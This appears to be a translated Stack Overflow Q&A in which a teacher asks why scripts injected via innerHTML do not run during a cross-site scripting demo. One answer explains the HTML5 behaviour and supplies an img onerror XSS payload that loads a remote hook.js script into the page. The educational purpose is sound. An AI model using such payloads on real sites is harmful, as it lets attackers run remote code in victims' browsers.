为什么我不能动态地将这个脚本写入页面?

时间:2016-03-31 00:28:25

标签: javascript browser xss

我正试图向一些学生演示跨站点脚本,具有讽刺意味的是,我无法让它工作!

以下两个脚本似乎什么都不做

document.body.innerHTML += `
<script src="/hook.js" defer async></s${''}cript>
`

document.body.innerHTML += `
<script>
var s = document.createElement('script')
s.setAttribute('src', '/hook.js')
document.body.appendChild(s)
</s${''}cript>
`

我可以看到在devtools中添加到DOM的节点,它看起来正确但在我的网络选项卡中没有触发查询。如果我使用相同的确切代码并将其直接放在html中,而不是查询。

我在最新的chrome和firefox中试过这个

发生了什么事?这是某种防xss保护吗?

2 个答案:

答案 0 :(得分:1)

好的,所以挖掘我发现了this interesting factoid

  

看到用于在网页中插入文本的innerHTML并不罕见。   这带来了安全风险。

    var name = "John";
    // assuming el is an HTML DOM element
    el.innerHTML = name; // harmless in this case

    // ...

name = "<script>alert('I am John in an annoying alert!')</script>";
el.innerHTML = name; // harmless in this case
     

虽然这看起来像是跨站点脚本攻击,但结果却是如此   是无害的。 HTML5指定通过插入<script>标记   innerHTML不应该执行。

     

但是,有一些方法可以在不使用的情况下执行JavaScript   元素,因此每当您使用innerHTML时仍存在安全风险   设置您无法控制的字符串。例如:

var name = "<img src=x onerror=alert(1)>";
el.innerHTML = name; // shows the alert
     

因此,建议您在使用innerHTML时不要使用   插入纯文本;相反,使用node.textContent。这不是   将传递的内容解释为HTML,而是将其作为原始内容插入   文本。

所以听起来事情正如预期的那样(并且只是旧的浏览器实现了错误)。你仍然可以触发XSS,你只需要稍微聪明一些。

<img src="/doesntesist.png" onerror="var s = document.createElement(`script`);s.setAttribute(`src`, `http:///hook.js`); document.body.appendChild(s);" />

答案 1 :(得分:0)

试试这个

document.write("<script type=\"text/javascript\" src=\"http://othree.net/tmp/test.js\"><\/script>");

或使用DOM方法添加

var z1 = document.createElement("script");
z1.type = "text/javascript";
z1.src = "http://othree.net/tmp/test.js";
document.getElementsByTagName("head")[0].appendChild(z1);